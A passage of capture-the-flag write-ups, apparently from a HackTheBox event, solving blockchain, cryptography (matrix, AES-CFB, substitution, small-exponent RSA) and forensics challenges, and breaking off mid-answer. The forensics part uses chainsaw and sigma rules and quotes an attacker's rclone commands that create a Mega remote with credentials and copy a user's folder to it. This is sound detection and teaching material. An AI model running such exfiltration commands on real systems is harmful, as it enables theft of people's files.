+We also have remote intances with two services first one is RPC service with http protocol and second one gives us two options:
We can get our connection information with options 1 and here is the information we get
+If we look at the contract source codes we can get the flag when Unknown
contract updated
field is set to true\
+We should interact with contract Unknown
and call updateSensors
function with input 10 to set it to True\
+I used web3 cli to call the Unknown
contract updateSensors
function with input 10
First Let's get information from second service +
nc 206.189.112.129 30228
+1 - Connection information
+2 - Restart Instance
+3 - Get flag
+action? 1
+
+Private key : 0xa2944fbcda9390aefb92358c82125e88ac383342b938098ad7cf301fb97eef3e
+Address : 0x667da262319cc42Ef6621B8c2d185CDc7Ee8bbDf
+Target contract : 0x0D660A6e10114bee123Cca7f7712Bda372c4eFb3
+Setup contract : 0x759b5313b4B8A1bf71A86c91E4178C316f41fA10
+
Here is the information we have: +
Wallet Address : 0x667da262319cc42Ef6621B8c2d185CDc7Ee8bbDf
+Private key : 0xa2944fbcda9390aefb92358c82125e88ac383342b938098ad7cf301fb97eef3e
+Target contract address : 0x0D660A6e10114bee123Cca7f7712Bda372c4eFb3
+Setup contract address : 0x759b5313b4B8A1bf71A86c91E4178C316f41fA10
+
To use web3 cli we should set our private key
and RPC url
export WEB3_RPC_URL=http://206.189.112.129:32380/
+export WEB3_PRIVATE_KEY=0xa2944fbcda9390aefb92358c82125e88ac383342b938098ad7cf301fb97eef3e
+
Now we should build our contract to generate abi files which are necessary for interacting with the network(You can read about more ABI)
+ +We don't need to deploy the contract because it's allready deployed and we have it's address.\ +Now we can call the funtion we need like this with generated abi
+web3 contract call --address '0x0D660A6e10114bee123Cca7f7712Bda372c4eFb3' --abi Unknown.abi --function updateSensors 10
+
With above command we call updateSensors(10)
for Unknown contract which will satisfy the conditions to get flag from Setup
contract
+
nc 206.189.112.129 30228
+1 - Connection information
+2 - Restart Instance
+3 - Get flag
+action? 3
+FLAG=HTB{9P5_50FtW4R3_UPd4t3D}
+
And here is the flag +
+ + + + + + + + + + + + + + + + +Your metallic body might have advanced targeting systems, but hitting a target is not just about technical proficiency.
+To truly master the art of targeting, you must learn to trust your instincts and develop a keen sense of intuition.
+During this training, you will emerge as a skilled marksman who can hit the targets with deadly precision.
+It's about time to train and prove yourself in the Shooting Area, can you make it?
+
Setup.sol: +
pragma solidity ^0.8.18;
+
+import {ShootingArea} from "./ShootingArea.sol";
+
+contract Setup {
+ ShootingArea public immutable TARGET;
+
+ constructor() {
+ TARGET = new ShootingArea();
+ }
+
+ function isSolved() public view returns (bool) {
+ return TARGET.firstShot() && TARGET.secondShot() && TARGET.thirdShot();
+ }
+}
+
ShootingArea.sol:
+pragma solidity ^0.8.18;
+
+contract ShootingArea {
+ bool public firstShot;
+ bool public secondShot;
+ bool public thirdShot;
+
+ modifier firstTarget() {
+ require(!firstShot && !secondShot && !thirdShot);
+ _;
+ }
+
+ modifier secondTarget() {
+ require(firstShot && !secondShot && !thirdShot);
+ _;
+ }
+
+ modifier thirdTarget() {
+ require(firstShot && secondShot && !thirdShot);
+ _;
+ }
+
+ receive() external payable secondTarget {
+ secondShot = true;
+ }
+
+ fallback() external payable firstTarget {
+ firstShot = true;
+ }
+
+ function third() public thirdTarget {
+ thirdShot = true;
+ }
+}
+
Accoring to this code section, to solve this challenge the 3 state variables firstShot, secondShot, thirdShot
should be set to True
+
function isSolved() public view returns (bool) {
+ return TARGET.firstShot() && TARGET.secondShot() && TARGET.thirdShot();
+}
+
We know that we can not change state variables of a contract directly and because we doon't have any setter function for these variables the only way to change their values is through fallback, receive, third
function\
+third
function is a normal function but fallback
and receive
are special functions which will be triggered in special conditions and we can not call them directly\
+According to this video fallback
and receive
can be triggered when facing errors like the calling function does not exist or lack of crypto-currency ...
If we wanna try to send a custom transaction with arbitrary data we will encounter error which we can use to trigger fallback and receive function\
+Also one more important issue about the code is that we have three modifiers named firstTarget, secondTarget, thirdTarget
.\
+According to this link, A midifier puts some conditions on a function. If the conditions are met the function would be executed else not.\
If we look at the modifiers, fallback
function is dependant on firstTarget
modifier which tells us in order to this fallback
function be executed all state variables firstShot, secondShot, thirdShot
should be False\
+Like that the receive
function is dependant on secondTarget
modifier which indicates that in order to trigger receive
function the firstShot
state variable should set to True
+And the third function is dependant on thirdTarget
modifier which indicates that in order to call that function the firstShot
and secondShot
state variable should set to True.
So to brief all we should trigger these 3 functions in this order +1. fallback +2. receive +3. third
+Let's first get connection infomation from second service
+nc 165.22.116.7 31860
+1 - Connection information
+2 - Restart Instance
+3 - Get flag
+action? 1
+
+Private key : 0xf1b75a27cee0e379746277b990bb7987815fd720d9fbbbbd0115b75d334c0272
+Address : 0x880D2D46b194678fe1990E0c859F0bEdB2A87F6f
+Target contract : 0x5094b5864dbB733a98E2A201fd7419F4e908be7B
+Setup contract : 0xFc5becb1a0026dd785AbCe82b52A31045164E2CF
+
For first and second shot which is fallback
and receive
function I used web3py:
+
from web3 import Web3
+
+url = 'http://165.22.116.7:30205/'
+wallet = '0x880D2D46b194678fe1990E0c859F0bEdB2A87F6f'
+target = '0x5094b5864dbB733a98E2A201fd7419F4e908be7B'
+
+w3 = Web3(Web3.HTTPProvider(url))
+
+# First Shot
+# This transaction will trigger fallback because it has data
+w3.eth.send_transaction({'to': target, 'from': wallet, 'data':'abcd'})
+
+
+# Second Shot
+# This transaction will trigger receive because it has no data
+w3.eth.send_transaction({'to': target, 'from': wallet})
+
And for the third shot which is a normal function and we can call it directly I used web3 cli +The address is ShootingArea contact address +
web3 contract call --address '0x5094b5864dbB733a98E2A201fd7419F4e908be7B' --abi ShootingArea.abi --function third
+
After all these we can get the flag +
nc 165.22.116.7 31860
+1 - Connection information
+2 - Restart Instance
+3 - Get flag
+action? 3
+HTB{f33l5_n1c3_h1771n6_y0ur_74r6375}
+
And here is the flag +
+ + + + + + + + + + + + + + + + +As you deciphered the Matrix, you discovered that the astronomy scientist had observed that certain stars were not real.
+He had created two 5x5 matrices with values based on the time the stars were bright, but after some time, the stars stopped emitting light.
+Nonetheless, he had managed to capture every matrix until then and created an algorithm that simulated their generation.
+However, he could not understand what was hidden behind them as he was missing something.
+He believed that if he could understand the stars, he would be able to locate the secret tombs where the relic was hidden.
+
source.py: +
from sage.all_cmdline import *
+# from utils import ascii_print
+import os
+
+FLAG = b"HTB{????????????????????}"
+assert len(FLAG) == 25
+
+
+class Book:
+
+ def __init__(self):
+ self.size = 5
+ self.prime = None
+
+ def parse(self, pt: bytes):
+ pt = [b for b in pt]
+ return matrix(GF(self.prime), self.size, self.size, pt)
+
+ def generate(self):
+ key = os.urandom(self.size**2)
+ return self.parse(key)
+
+ def rotate(self):
+ self.prime = random_prime(2**6, False, 2**4)
+
+ def encrypt(self, message: bytes):
+ self.rotate()
+ key = self.generate()
+ message = self.parse(message)
+ ciphertext = message * key
+ return ciphertext, key
+
+
+def menu():
+ print("Options:\n")
+ print("[L]ook at page")
+ print("[T]urn page")
+ print("[C]heat\n")
+ option = input("> ")
+ return option
+
+
+def main():
+ book = Book()
+ ciphertext, key = book.encrypt(FLAG)
+ page_number = 1
+
+ while True:
+ option = menu()
+ if option == "L":
+ # ascii_print(ciphertext, key, page_number)
+ print(ciphertext, key, page_number)
+ elif option == "T":
+ ciphertext, key = book.encrypt(FLAG)
+ page_number += 2
+ print()
+ elif option == "C":
+ print(f"\n{list(ciphertext)}\n{list(key)}\n")
+ else:
+ print("\nInvalid option!\n")
+
+
+if __name__ == "__main__":
+ try:
+ main()
+ except Exception as e:
+ print(f"An error occurred: {e}")
+
Let's explore the code first
+1. It generates a random prime number from 16 to 64 (17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61) named P
+2. Then it generates two matrix in finite field of P first is the flag characters named M
second one is the key named K
+3. Then it multiply two matrix and generates a ciphertext matrix named C
C = M * K
Also we have a remote instance which gives us three options:\
+C
and the key K
K
and C
for flag matrix M
C & K
in list formathere we have an equation like this:
+ +We can solve this equation with sage like this and find M +
R = IntegerModRing(59)
+C = Matrix(R, [[20, 22, 9, 10, 55],[5, 49, 30, 31, 28],[17, 22, 23, 31, 41],[30, 19, 31, 8, 21],[10, 44, 48, 32, 22]])
+K = Matrix(R, [[23, 22, 54, 16, 53],[19, 58, 25, 10, 33],[44, 11, 34, 14, 28],[8, 56, 15, 21, 45],[15, 26, 13, 26, 9]])
+M = C.solve_left(K)
+
+print(M)
+
But how to find P
. we can simply bruteforce it or we can use T option for remote instance couple of times to get an element of for example 58 or 60 to ensure that the P is 59 or 61
+I generated several ciphertexts and for one I assumed the P is 59 so I generated the matrix M
with above equations with value P=59
and here is the matrix M:
We can confirm the M
and prime P=59
with:
+
ord('H') = 72 % 59 == 13
+ord('T') = 84 % 59 == 25
+ord('B') = 66 % 59 == 7
+ord('{') = 123 % 59 == 5
+
After that with trial and error to find exact value of the flag characters and here is the code I used
+message = [13,25,7,5,49,48,48,48,36,5,57,36,55,45,51,36,56,57,52,55,56,33,33,33,7]
+message = [13+p,25+p,7+p,5+2*p,49+p,48,48,48+p,36+p,5+p,57+p,36+p,55,45+p,51,36+p,56+p,57+p,52,55+p,56+p,33,33,33,7+2*p]
+
+for m in message:
+ print(chr(m), end="")
+
+print()
+
And here os the flag +
+According to this amazing writeup You can also grab several M matrix with different P
values and use Chinese Remainder Theorem to find exact value of flags without trial and error
As your investigation progressed, a clue led you to a local bar where you met an undercover agent with valuable information.
+He spoke of a famous astronomy scientist who lived in the area and extensively studied the relic.
+The scientist wrote a book containing valuable insights on the relic's location, but encrypted it before he disappeared to keep it safe from malicious intent.
+The old man disclosed that the book was hidden in the scientist's house and revealed two phrases that the scientist rambled about before vanishing.
+
source.py +
from Crypto.Cipher import AES
+from Crypto.Util.Padding import pad
+import random, os
+
+FLAG = b'HTB{??????????????????????}'
+
+
+class CAES:
+
+ def __init__(self):
+ self.key = os.urandom(16)
+ self.cipher = AES.new(self.key, AES.MODE_ECB)
+
+ def blockify(self, message, size):
+ return [message[i:i + size] for i in range(0, len(message), size)]
+
+ def xor(self, a, b):
+ return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])
+
+ def encrypt(self, message):
+ iv = os.urandom(16)
+
+ ciphertext = b''
+ plaintext = iv
+
+ blocks = self.blockify(message, 16)
+ for block in blocks:
+ ct = self.cipher.encrypt(plaintext)
+ encrypted_block = self.xor(block, ct)
+ ciphertext += encrypted_block
+ plaintext = encrypted_block
+
+ return ciphertext
+
+ def leak(self, blocks):
+ r = random.randint(0, len(blocks) - 2)
+ leak = [self.cipher.encrypt(blocks[i]).hex() for i in [r, r + 1]]
+ return r, leak
+
+
+def main():
+ aes = CAES()
+ message = pad(FLAG * 4, 16)
+
+ ciphertext = aes.encrypt(message)
+ ciphertext_blocks = aes.blockify(ciphertext, 16)
+
+ r, leak = aes.leak(ciphertext_blocks)
+
+ with open('output.txt', 'w') as f:
+ f.write(f'ct = {ciphertext.hex()}\nr = {r}\nphrases = {leak}\n')
+
+
+if __name__ == "__main__":
+ main()
+
output.txt +
ct = bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624
+r = 3
+phrases = ['8b6973611d8b62941043f85cd1483244', 'cf8f71416111f1e8cdee791151c222ad']
+
Here we have a AES-CFB mode encryption and the output is like above and our message is actually the repition of the flag 4 times\ +We also have some leaks which is encryption of encrypted message according to aes-cfb decryption process we should encrypt previous cipher text and xor it with current ciphertext to recover the message\ +Here in leaks we have blocksp[3] and blocks[4] encrypton so if we xor blocks[4] with leaks[0] and blocks[5] with leaks[1] we should get two decrypted blocks of the message
+d41e405576d415a5272ba730e27c593e ^ 8b6973611d8b62941043f85cd1483244 = _w34k_w17h_l34kz
+b2c725031a52b7aa92df4c4e26f116c6 ^ cf8f71416111f1e8cdee791151c222ad = }HTB{CFB_15_w34k
+
So here is the flag: +
+ + + + + + + + + + + + + + + + +The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing.
+One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers.
+This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?
+
source.py +
from os import urandom
+from Crypto.Cipher import AES
+from secret import MESSAGE
+
+assert all([x.isupper() or x in '{_} ' for x in MESSAGE])
+
+
+class Cipher:
+
+ def __init__(self):
+ self.salt = urandom(15)
+ key = urandom(16)
+ self.cipher = AES.new(key, AES.MODE_ECB)
+
+ def encrypt(self, message):
+ return [self.cipher.encrypt(c.encode() + self.salt) for c in message]
+
+
+def main():
+ cipher = Cipher()
+ encrypted = cipher.encrypt(MESSAGE)
+ encrypted = "\n".join([c.hex() for c in encrypted])
+
+ with open("output.txt", 'w+') as f:
+ f.write(encrypted)
+
+
+if __name__ == "__main__":
+ main()
+
output.txt +
dfc8a2232dc2487a5455bda9fa2d45a1
+305d4649e3cb097fb094f8f45abbf0dc
+c87a7eb9283e59571ad0cb0c89a74379
+60e8373bfb2124aea832f87809fca596
+d178fac67ec4e9d2724fed6c7b50cd26
+c87a7eb9283e59571ad0cb0c89a74379
+34ece5ff054feccc5dabe9ae90438f9d
+457165130940ceac01160ac0ff924d86
+5d7185a6823ab4fc73f3ea33669a7bae
+61331054d82aeec9a20416759766d9d5
+5f122076e17398b7e21d1762a61e2e0a
+....................
+
We know that characters of the encrypted message is Upper letters and '{} ' which is for teh flag\
+So the message is a text message containing the flag inside it with all upper letter characters.\
+Each character of the message is being encrypted with AES ECB with same key.\
+So each character is mapped to its encrypted version using AES-ECB and we can do statistical analysis.\
+But first we should map these characters to single character random letters except '{}' we also need space characters to perform statistical analysis
+How to solve this?
+Those AES outputs which has only one occurance are '{}'. so fbe86a428051747607a35b44b1a3e9e9
is actually {
and c53ba24fbbe9e3dbdd6062b3aab7ed1a
is }
+We can guess _
is only between {}
inside flag and not other part of the message so those AES outputs which are between fbe86a428051747607a35b44b1a3e9e9
and c53ba24fbbe9e3dbdd6062b3aab7ed1a
is actually _
+For space the characrter before the flag first character is space and that is 61331054d82aeec9a20416759766d9d5
.
and we should map remaining patterns to a random letter. Here is final script
+solve.py +
import json
+
+datas = open('./crypto_perfect_synchronization/output.txt', 'r').readlines()
+raw = open('./crypto_perfect_synchronization/output.txt', 'r').read().strip()
+data = []
+
+for d in datas:
+ data.append(d.strip())
+
+stats = {}
+for d in data:
+ if d in stats.keys():
+ stats[d] += 1
+ else:
+ stats[d] = 1
+
+letters = set(data)
+
+chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ '
+print(len(chars))
+
+raw = raw.replace('fbe86a428051747607a35b44b1a3e9e9', '{')
+raw = raw.replace('a94f49727cf771a85831bd03af1caaf5', '_')
+raw = raw.replace('c53ba24fbbe9e3dbdd6062b3aab7ed1a', '}')
+raw = raw.replace('61331054d82aeec9a20416759766d9d5', ' ')
+
+index = 0
+output = ''
+for d in letters:
+ if d in['fbe86a428051747607a35b44b1a3e9e9','a94f49727cf771a85831bd03af1caaf5','c53ba24fbbe9e3dbdd6062b3aab7ed1a']:
+ continue
+ raw = raw.replace(d, chars[index]).strip()
+ index += 1
+
+print(raw.replace('\n', ''))
+
result: +
LKBCVBRMP XRXZPNDN DN SXNBE OR TYB LXMT TYXT DR XRP UDFBR NTKBTMY OL IKDTTBR ZXRUVXUB MBKTXDR ZBTTBKN XRE MOQSDRXTDORN OL ZBTTBKN OMMVK IDTY FXKPDRU LKBCVBRMDBN QOKBOFBK TYBKB DN X MYXKXMTBKDNTDM EDNTKDSVTDOR OL ZBTTBKN TYXT DN KOVUYZP TYB NXQB LOK XZQONT XZZ NXQGZBN OL TYXT ZXRUVXUB DR MKPGTXRXZPNDN LKBCVBRMP XRXZPNDN XZNO HROIR XN MOVRTDRU ZBTTBKN DN TYB NTVEP OL TYB LKBCVBRMP OL ZBTTBKN OK UKOVGN OL ZBTTBKN DR X MDGYBKTBJT TYB QBTYOE DN VNBE XN XR XDE TO SKBXHDRU MZXNNDMXZ MDGYBKN LKBCVBRMP XRXZPNDN KBCVDKBN ORZP X SXNDM VREBKNTXREDRU OL TYB NTXTDNTDMN OL TYB GZXDRTBJT ZXRUVXUB XRE NOQB GKOSZBQ NOZFDRU NHDZZN XRE DL GBKLOKQBE SP YXRE TOZBKXRMB LOK BJTBRNDFB ZBTTBK SOOHHBBGDRU EVKDRU IOKZE IXK DD SOTY TYB SKDTDNY XRE TYB XQBKDMXRN KBMKVDTBE MOEBSKBXHBKN SP GZXMDRU MKONNIOKE GVWWZBN DR QXAOK RBINGXGBKN XRE KVRRDRU MORTBNTN LOK IYO MOVZE NOZFB TYBQ TYB LXNTBNT NBFBKXZ OL TYB MDGYBKN VNBE SP TYB XJDN GOIBKN IBKB SKBXHXSZB VNDRU LKBCVBRMP XRXZPNDN LOK BJXQGZB NOQB OL TYB MORNVZXK MDGYBKN VNBE SP TYB AXGXRBNB QBMYXRDMXZ QBTYOEN OL ZBTTBK MOVRTDRU XRE NTXTDNTDMXZ XRXZPNDN UBRBKXZZP YTS{X_NDQGZB_NVSNTDTVTDOR_DN_IBXH} MXKE TPGB QXMYDRBKP IBKB LDKNT VNBE DR IOKZE IXK DD GONNDSZP SP TYB VN XKQPN NDN TOEXP TYB YXKE IOKH OL ZBTTBK MOVRTDRU XRE XRXZPNDN YXN SBBR KBGZXMBE SP MOQGVTBK NOLTIXKB IYDMY MXR MXKKP OVT NVMY XRXZPNDN DR NBMOREN IDTY QOEBKR MOQGVTDRU GOIBK MZXNNDMXZ MDGYBKN XKB VRZDHBZP TO GKOFDEB XRP KBXZ GKOTBMTDOR LOK MORLDEBRTDXZ EXTX GVWWZB GVWWZB GVWWZB
+
Now we can use quipqiup to find the original text from output abow and here is the original text: +
FREQUENCY ANALYSIS IS BASED ON THE FACT THAT IN ANY GIVEN STRETCH OF WRITTEN LANGUAGE CERTAIN LETTERS AND COMBINATIONS OF LETTERS OCCUR WITH VARYING FREQUENCIES MOREOVER THERE IS A CHARACTERISTIC DISTRIBUTION OF LETTERS THAT IS ROUGHLY THE SAME FOR ALMOST ALL SAMPLES OF THAT LANGUAGE IN CRYPTANALYSIS FREQUENCY ANALYSIS ALSO KNOWN AS COUNTING LETTERS IS THE STUDY OF THE FREQUENCY OF LETTERS OR GROUPS OF LETTERS IN A CIPHERTEXT THE METHOD IS USED AS AN AID TO BREAKING CLASSICAL CIPHERS FREQUENCY ANALYSIS REQUIRES ONLY A BASIC UNDERSTANDING OF THE STATISTICS OF THE PLAINTEXT LANGUAGE AND SOME PROBLEM SOLVING SKILLS AND IF PERFORMED BY HAND TOLERANCE FOR EXTENSIVE LETTER BOOKKEEPING DURING WORLD WAR II BOTH THE BRITISH AND THE AMERICANS RECRUITED CODEBREAKERS BY PLACING CROSSWORD PUZZLES IN MAJOR NEWSPAPERS AND RUNNING CONTESTS FOR WHO COULD SOLVE THEM THE FASTEST SEVERAL OF THE CIPHERS USED BY THE AXIS POWERS WERE BREAKABLE USING FREQUENCY ANALYSIS FOR EXAMPLE SOME OF THE CONSULAR CIPHERS USED BY THE JAPANESE MECHANICAL METHODS OF LETTER COUNTING AND STATISTICAL ANALYSIS GENERALLY HTB{A_SIMPLE_SUBSTITUTION_IS_WEAK} CARD TYPE MACHINERY WERE FIRST USED IN WORLD WAR II POSSIBLY BY THE US ARMYS SIS TODAY THE HARD WORK OF LETTER COUNTING AND ANALYSIS HAS BEEN REPLACED BY COMPUTER SOFTWARE WHICH CAN CARRY OUT SUCH ANALYSIS IN SECONDS WITH MODERN COMPUTING POWER CLASSICAL CIPHERS ARE UNLIKELY TO PROVIDE ANY REAL PROTECTION FOR CONFIDENTIAL DATA PUZZLE PUZZLE PUZZLE
+
And here is the flag: +
+ + + + + + + + + + + + + + + + +As you continue your journey, you must learn about the encryption method the aliens used to secure their communication from eavesdroppers.
+The engineering team has designed a challenge that emulates the exact parameters of the aliens' encryption system, complete with instructions and a code snippet to connect to a mock alien server.
+Your task is to break it.
+
from Crypto.Util.number import getPrime, bytes_to_long
+
+FLAG = b"HTB{???????????????}"
+assert len(FLAG) == 20
+
+
+class RSA:
+
+ def __init__(self):
+ self.q = getPrime(256)
+ self.p = getPrime(256)
+ self.n = self.q * self.p
+ self.e = 3
+
+ def encrypt(self, plaintext):
+ plaintext = bytes_to_long(plaintext)
+ return pow(plaintext, self.e, self.n)
+
+
+def menu():
+ print('[E]ncrypt the flag.')
+ print('[A]bort training.\n')
+ return input('> ').upper()[0]
+
+
+def main():
+ print('This is the second level of training.\n')
+ while True:
+ rsa = RSA()
+ choice = menu()
+
+ if choice == 'E':
+ encrypted_flag = rsa.encrypt(FLAG)
+ print(f'\nThe public key is:\n\nN: {rsa.n}\ne: {rsa.e}\n')
+ print(f'The encrypted flag is: {encrypted_flag}\n')
+ elif choice == 'A':
+ print('\nGoodbye\n')
+ exit(-1)
+ else:
+ print('\nInvalid choice!\n')
+ exit(-1)
+
+
+if __name__ == '__main__':
+ main()
+
c = m**3 % n
is smaller than n
so c == m ** 3
and we can compute m by getting 3rd root of c
.
+```py + from Crypto.Util.number import *
+def nth_root(x, n): + # Start with some reasonable bounds around the nth root. + upper_bound = 1 + while upper_bound ** n <= x: + upper_bound *= 2 + lower_bound = upper_bound // 2 + # Keep searching for a better result as long as the bounds make sense. + while lower_bound < upper_bound: + mid = (lower_bound + upper_bound) // 2 + mid_nth = mid ** n + if lower_bound < mid and mid_nth < x: + lower_bound = mid + elif upper_bound > mid and mid_nth > x: + upper_bound = mid + else: + # Found perfect nth root. + return mid + return mid + 1
+n = 4994987314155600304691453574807875996150564799718996509392679134987280603555645591343927213497932548816960938243148072674115512672389479749171011850599071 +e = 3 +c = 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053
+m = nth_root(c, e)
+flag = long_to_bytes(m) +print(flag) +
+ HTB{5ma1l_E-xp0n3nt} + ``` + + + + + + + + + + + + + + + + +Pandora's friend and partner, Wade, is the one that leads the investigation into the relic's location.
+Recently, he noticed some weird traffic coming from his host.
+That led him to believe that his host was compromised.
+After a quick investigation, his fear was confirmed.
+Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase.
+Pandora believes that the malicious actor used rclone to exfiltrate Wade's research to the cloud.
+Using the tool called "chainsaw" and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon?
+To get the flag, you need to start and connect to the docker service and answer all the questions correctly.
+
We are given some windows event viewer logs and some sigma rules for hunting inside logs\
+The challenge description give us some hints to use a tool called chainsaw
with some custom sigma rules to detect data exfiltiration with rclone
\
+Actually rclone is a cli tool for data sync with cloud platforms.
Let's use chainsaw and two custom sigma rules rclone_config_creation.yaml
and rclone_execution.yaml
to hunt through these windows logs to detect data exfiltiration using rclone
chainsaw hunt Logs/ -s sigma_rules/ --mapping ./chainsaw/mappings/sigma-event-logs-all.yml
+# Logs : the windows event viewer directory which is inside challenge files
+# sigma_rules : which are two custom sigma rules inside challenge files for discovering rclone config creationg and execution
+# mapping : I used chainsaw mapping files
+
And here is the result
+┌────────────────────────────┬───────┬──────────────────────────┬──────────┬───────────┬────────────────────────────────┐
+│ detections │ count │ Event.System.Provider │ Event ID │ Record ID │ Event Data │
+├────────────────────────────┼───────┼──────────────────────────┼──────────┼───────────┼────────────────────────────────┤
+│ ‣ Rclone Execution via │ 1 │ Microsoft-Windows-Sysmon │ 1 │ 76 │ --- │
+│ Command Line or PowerShell │ │ │ │ │ CommandLine: "\"C:\\Users\\wad │
+│ │ │ │ │ │ e\\AppData\\Local\\Temp\\rclon │
+│ │ │ │ │ │ e-v1.61.1-windows-amd64\\rclon │
+│ │ │ │ │ │ e.exe\" config create remote m │
+│ │ │ │ │ │ ega user majmeret@protonmail.c │
+│ │ │ │ │ │ om pass FBMeavdiaFZbWzpMqIVhJC │
+│ │ │ │ │ │ GXZ5XXZI1qsU3EjhoKQw0rEoQqHyI" │
+│ │ │ │ │ │ Company: "https://rclone.org" │
+│ │ │ │ │ │ CurrentDirectory: "C:\\Users\\ │
+│ │ │ │ │ │ wade\\AppData\\Local\\Temp\\rc │
+│ │ │ │ │ │ lone-v1.61.1-windows-amd64\\" │
+│ │ │ │ │ │ Description: Rsync for cloud s │
+│ │ │ │ │ │ torage │
+│ │ │ │ │ │ FileVersion: 1.61.1 │
+│ │ │ │ │ │ Hashes: SHA256=E94901809FF7CC5 │
+│ │ │ │ │ │ 168C1E857D4AC9CBB339CA1F6E21DC │
+│ │ │ │ │ │ CE95DFB8E28DF799961 │
+│ │ │ │ │ │ Image: "C:\\Users\\wade\\AppDa │
+│ │ │ │ │ │ ta\\Local\\Temp\\rclone-v1.61. │
+│ │ │ │ │ │ 1-windows-amd64\\rclone.exe" │
+│ │ │ │ │ │ IntegrityLevel: Medium │
+│ │ │ │ │ │ LogonGuid: 10DA3E43-D892-63F8- │
+│ │ │ │ │ │ 4B6D-030000000000 │
+│ │ │ │ │ │ LogonId: "0x36d4b" │
+│ │ │ │ │ │ OriginalFileName: rclone.exe │
+│ │ │ │ │ │ ParentCommandLine: "\"C:\\Wind │
+│ │ │ │ │ │ ows\\System32\\WindowsPowerShe │
+│ │ │ │ │ │ ll\\v1.0\\powershell.exe\" " │
+│ │ │ │ │ │ ParentImage: "C:\\Windows\\Sys │
+│ │ │ │ │ │ tem32\\WindowsPowerShell\\v1.0 │
+│ │ │ │ │ │ \\powershell.exe" │
+│ │ │ │ │ │ ParentProcessGuid: 10DA3E43-D8 │
+│ │ │ │ │ │ D2-63F8-9B00-000000000900 │
+│ │ │ │ │ │ ParentProcessId: 5888 │
+│ │ │ │ │ │ ParentUser: "DESKTOP-UTDHED2\\ │
+│ │ │ │ │ │ wade" │
+│ │ │ │ │ │ ProcessGuid: 10DA3E43-D92B-63F │
+│ │ │ │ │ │ 8-B100-000000000900 │
+│ │ │ │ │ │ ProcessId: 3820 │
+│ │ │ │ │ │ Product: Rclone │
+│ │ │ │ │ │ RuleName: "-" │
+│ │ │ │ │ │ TerminalSessionId: 1 │
+│ │ │ │ │ │ User: "DESKTOP-UTDHED2\\wade" │
+│ │ │ │ │ │ UtcTime: "2023-02-24 15:35:07. │
+│ │ │ │ │ │ 336" │
+├────────────────────────────┼───────┼──────────────────────────┼──────────┼───────────┼────────────────────────────────┤
+│ ‣ Rclone Execution via │ 1 │ Microsoft-Windows-Sysmon │ 1 │ 78 │ --- │
+│ Command Line or PowerShell │ │ │ │ │ CommandLine: "\"C:\\Users\\wad │
+│ │ │ │ │ │ e\\AppData\\Local\\Temp\\rclon │
+│ │ │ │ │ │ e-v1.61.1-windows-amd64\\rclon │
+│ │ │ │ │ │ e.exe\" copy C:\\Users\\Wade\\ │
+│ │ │ │ │ │ Desktop\\Relic_location\\ remo │
+│ │ │ │ │ │ te:exfiltration -v" │
+│ │ │ │ │ │ Company: "https://rclone.org" │
+│ │ │ │ │ │ CurrentDirectory: "C:\\Users\\ │
+│ │ │ │ │ │ wade\\AppData\\Local\\Temp\\rc │
+│ │ │ │ │ │ lone-v1.61.1-windows-amd64\\" │
+│ │ │ │ │ │ Description: Rsync for cloud s │
+│ │ │ │ │ │ torage │
+│ │ │ │ │ │ FileVersion: 1.61.1 │
+│ │ │ │ │ │ Hashes: SHA256=E94901809FF7CC5 │
+│ │ │ │ │ │ 168C1E857D4AC9CBB339CA1F6E21DC │
+│ │ │ │ │ │ CE95DFB8E28DF799961 │
+│ │ │ │ │ │ Image: "C:\\Users\\wade\\AppDa │
+│ │ │ │ │ │ ta\\Local\\Temp\\rclone-v1.61. │
+│ │ │ │ │ │ 1-windows-amd64\\rclone.exe" │
+│ │ │ │ │ │ IntegrityLevel: Medium │
+│ │ │ │ │ │ LogonGuid: 10DA3E43-D892-63F8- │
+│ │ │ │ │ │ 4B6D-030000000000 │
+│ │ │ │ │ │ LogonId: "0x36d4b" │
+│ │ │ │ │ │ OriginalFileName: rclone.exe │
+│ │ │ │ │ │ ParentCommandLine: "\"C:\\Wind │
+│ │ │ │ │ │ ows\\System32\\WindowsPowerShe │
+│ │ │ │ │ │ ll\\v1.0\\powershell.exe\" " │
+│ │ │ │ │ │ ParentImage: "C:\\Windows\\Sys │
+│ │ │ │ │ │ tem32\\WindowsPowerShell\\v1.0 │
+│ │ │ │ │ │ \\powershell.exe" │
+│ │ │ │ │ │ ParentProcessGuid: 10DA3E43-D8 │
+│ │ │ │ │ │ D2-63F8-9B00-000000000900 │
+│ │ │ │ │ │ ParentProcessId: 5888 │
+│ │ │ │ │ │ ParentUser: "DESKTOP-UTDHED2\\ │
+│ │ │ │ │ │ wade" │
+│ │ │ │ │ │ ProcessGuid: 10DA3E43-D935-63F │
+│ │ │ │ │ │ 8-B200-000000000900 │
+│ │ │ │ │ │ ProcessId: 5116 │
+│ │ │ │ │ │ Product: Rclone │
+│ │ │ │ │ │ RuleName: "-" │
+│ │ │ │ │ │ TerminalSessionId: 1 │
+│ │ │ │ │ │ User: "DESKTOP-UTDHED2\\wade" │
+│ │ │ │ │ │ UtcTime: "2023-02-24 15:35:17. │
+│ │ │ │ │ │ 516" │
+└────────────────────────────┴───────┴──────────────────────────┴──────────┴───────────┴────────────────────────────────┘
+
I deleted the timestamp
and Computer
column for smaller and brief output\
+So here we have the output and executed commands we want
These are the commands executed for data exfiltiration
with rclone
rclone config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI
+rclone copy C:\\Users\\Wade\\Desktop\\Relic_location\\ remote:exfiltration -v
+
According to challenge description let's launch instance and answer the questions to get the flag
+What is the email of the attacker used for the exfiltration process? (for example: name@email.com)
+> majmeret@protonmail.com
+[+] Correct!
+
+What is the password of the attacker used for the exfiltration process? (for example: password123)
